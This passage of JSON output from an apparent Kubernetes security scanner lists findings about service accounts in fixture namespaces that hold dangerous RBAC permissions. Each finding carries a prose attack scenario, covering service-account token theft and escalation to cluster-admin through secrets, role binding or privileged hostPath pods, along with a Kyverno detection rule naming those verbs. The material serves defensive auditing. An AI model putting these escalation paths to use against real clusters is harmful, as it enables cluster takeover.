      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/imgswap-fixtures/imgswap-reader` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/local-path-storage/local-path-provisioner-service-account",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "HIGH",
    "score": 8.3,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/local-path-storage/local-path-provisioner-service-account` is mounted by live workloads and has dangerous permissions: create pods (local-path-storage)",
    "description": "ServiceAccount `ServiceAccount/local-path-storage/local-path-provisioner-service-account` carries one or more dangerous RBAC capabilities (create pods (local-path-storage)) *and* is actively mounted by workloads (Pod/local-path-storage/local-path-provisioner-67b8995b4b-49fft, Deployment/local-path-storage/local-path-provisioner). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/local-path-storage/local-path-provisioner-67b8995b4b-49fft, Deployment/local-path-storage/local-path-provisioner. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `local-path-storage/local-path-provisioner-service-account`: namespace-scoped subject; mounted by pods in `local-path-storage`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/local-path-storage/local-path-provisioner-service-account` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/local-path-storage/local-path-provisioner-67b8995b4b-49fft, Deployment/local-path-storage/local-path-provisioner`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (create pods (local-path-storage)) directly. The token already authenticates as `ServiceAccount/local-path-storage/local-path-provisioner-service-account`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "create pods (local-path-storage)"
      ],
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "local-path-storage",
          "resource_names": null,
          "resources": [
            "pods"
          ],
          "source_binding": "local-path-provisioner-bind",
          "source_role": "local-path-provisioner-role",
          "verbs": [
            "get",
            "list",
            "watch",
            "create",
            "patch",
            "update",
            "delete"
          ]
        },
        {
          "api_groups": [
            ""
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "nodes",
            "persistentvolumeclaims",
            "configmaps",
            "pods",
            "pods/log"
          ],
          "source_binding": "local-path-provisioner-bind",
          "source_role": "local-path-provisioner-role",
          "verbs": [
            "get",
            "list",
            "watch"
          ]
        },
        {
          "api_groups": [
            ""
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "persistentvolumes"
          ],
          "source_binding": "local-path-provisioner-bind",
          "source_role": "local-path-provisioner-role",
          "verbs": [
            "get",
            "list",
            "watch",
            "create",
            "patch",
            "update",
            "delete"
          ]
        },
        {
          "api_groups": [
            ""
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "events"
          ],
          "source_binding": "local-path-provisioner-bind",
          "source_role": "local-path-provisioner-role",
          "verbs": [
            "create",
            "patch"
          ]
        },
        {
          "api_groups": [
            "storage.k8s.io"
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "storageclasses"
          ],
          "source_binding": "local-path-provisioner-bind",
          "source_role": "local-path-provisioner-role",
          "verbs": [
            "get",
            "list",
            "watch"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "local-path-provisioner-67b8995b4b-49fft",
          "namespace": "local-path-storage"
        },
        {
          "kind": "Deployment",
          "name": "local-path-provisioner",
          "namespace": "local-path-storage"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/local-path-storage/local-path-provisioner-service-account` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/local-path-storage/local-path-provisioner-67b8995b4b-49fft, Deployment/local-path-storage/local-path-provisioner) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/local-path-storage/local-path-provisioner-service-account` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/lp-fixtures/sa-lp-wildcard",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "HIGH",
    "score": 8.3,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/lp-fixtures/sa-lp-wildcard` is mounted by live workloads and has dangerous permissions: secrets (lp-fixtures)",
    "description": "ServiceAccount `ServiceAccount/lp-fixtures/sa-lp-wildcard` carries one or more dangerous RBAC capabilities (secrets (lp-fixtures)) *and* is actively mounted by workloads (Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw, Deployment/lp-fixtures/lp-wildcard-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw, Deployment/lp-fixtures/lp-wildcard-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `lp-fixtures/sa-lp-wildcard`: namespace-scoped subject; mounted by pods in `lp-fixtures`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/lp-fixtures/sa-lp-wildcard` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw, Deployment/lp-fixtures/lp-wildcard-app`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (secrets (lp-fixtures)) directly. The token already authenticates as `ServiceAccount/lp-fixtures/sa-lp-wildcard`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "secrets (lp-fixtures)"
      ],
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "lp-fixtures",
          "resource_names": null,
          "resources": [
            "secrets"
          ],
          "source_binding": "rb-lp-wildcard",
          "source_role": "r-lp-wildcard",
          "verbs": [
            "*"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "lp-wildcard-app-7bb4d99f67-kd5xw",
          "namespace": "lp-fixtures"
        },
        {
          "kind": "Deployment",
          "name": "lp-wildcard-app",
          "namespace": "lp-fixtures"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/lp-fixtures/sa-lp-wildcard` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw, Deployment/lp-fixtures/lp-wildcard-app) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/lp-fixtures/sa-lp-wildcard` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/rbac-fixtures/sa-pod-create",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "HIGH",
    "score": 8.3,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` is mounted by live workloads and has dangerous permissions: create pods (cluster)",
    "description": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` carries one or more dangerous RBAC capabilities (create pods (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/daemon-app-nl55v, DaemonSet/rbac-fixtures/daemon-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/rbac-fixtures/daemon-app-nl55v, DaemonSet/rbac-fixtures/daemon-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `rbac-fixtures/sa-pod-create`: namespace-scoped subject; mounted by pods in `rbac-fixtures`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/rbac-fixtures/sa-pod-create` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/rbac-fixtures/daemon-app-nl55v, DaemonSet/rbac-fixtures/daemon-app`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (create pods (cluster)) directly. The token already authenticates as `ServiceAccount/rbac-fixtures/sa-pod-create`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "create pods (cluster)"
      ],
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "pods"
          ],
          "source_binding": "crb-pod-create",
          "source_role": "cr-pod-create",
          "verbs": [
            "create"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "daemon-app-nl55v",
          "namespace": "rbac-fixtures"
        },
        {
          "kind": "DaemonSet",
          "name": "daemon-app",
          "namespace": "rbac-fixtures"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/rbac-fixtures/sa-pod-create` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/rbac-fixtures/daemon-app-nl55v, DaemonSet/rbac-fixtures/daemon-app) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/rbac-fixtures/sa-pod-create` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
      "Wire enforcement: a Kyverno policy that warns when `pods.spec.serviceAccountName` references an SA whose RBAC binding includes any of `[secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get]`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://github.com/liggitt/audit2rbac"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "audit2rbac — generate minimal RBAC from audit logs",
        "url": "https://github.com/liggitt/audit2rbac"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1098.004",
        "name": "Account Manipulation: SSH Authorized Keys / Token Re-use",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:dangerousPermissions"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/secrets-bundle/cross-ns-reader",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "HIGH",
    "score": 8.3,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/secrets-bundle/cross-ns-reader` is mounted by live workloads and has dangerous permissions: secrets (secrets-bundle-target)",
    "description": "ServiceAccount `ServiceAccount/secrets-bundle/cross-ns-reader` carries one or more dangerous RBAC capabilities (secrets (secrets-bundle-target)) *and* is actively mounted by workloads (Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db, Deployment/secrets-bundle/cross-ns-consumer). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db, Deployment/secrets-bundle/cross-ns-consumer. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `secrets-bundle/cross-ns-reader`: namespace-scoped subject; mounted by pods in `secrets-bundle`"
    },
    "impact": "Compromise of any workload using `ServiceAccount/secrets-bundle/cross-ns-reader` immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated `KUBE-PRIVESC-*` findings on the same subject).",
    "attack_scenario": [
      "Attacker compromises any of the workloads (`Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db, Deployment/secrets-bundle/cross-ns-consumer`) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.",
      "They read `/var/run/secrets/kubernetes.io/serviceaccount/token` from the pod.",
      "They use the token to invoke the dangerous capabilities (secrets (secrets-bundle-target)) directly. The token already authenticates as `ServiceAccount/secrets-bundle/cross-ns-reader`, so no further escalation is needed.",
      "For each capability they convert into the matching privesc path: `secrets`→token theft → impersonate higher SA; `bind`→grant self cluster-admin; `pods/create`→privileged pod with hostPath /.",
      "Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically `cluster-admin` if any privesc path connects."
    ],
    "evidence": {
      "dangerous_permissions": [
        "secrets (secrets-bundle-target)"
      ],
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "secrets-bundle-target",
          "resource_names": null,
          "resources": [
            "secrets"
          ],
          "source_binding": "cross-ns-secrets-read",
          "source_role": "secrets-reader",
          "verbs": [
            "get",
            "list"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "cross-ns-consumer-6c945c9c9d-jq2db",
          "namespace": "secrets-bundle"
        },
        {
          "kind": "Deployment",
          "name": "cross-ns-consumer",
          "namespace": "secrets-bundle"
        }
      ]
    },
    "remediation": "Split `ServiceAccount/secrets-bundle/cross-ns-reader` into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.",
    "remediation_steps": [
      "Audit which of the workloads (Pod/secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db, Deployment/secrets-bundle/cross-ns-consumer) actually exercises each dangerous capability. Start with `audit2rbac` over a 7-day window, then ask the workload's owner to confirm.",
      "For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.",
      "Migrate workloads to the new dedicated SA (set `spec.serviceAccountName`). Delete the bindings against the original `ServiceAccount/secrets-bundle/cross-ns-reader` and rotate its token.",
      "For capabilities that *no* workload actually exercises, delete the binding entirely.",
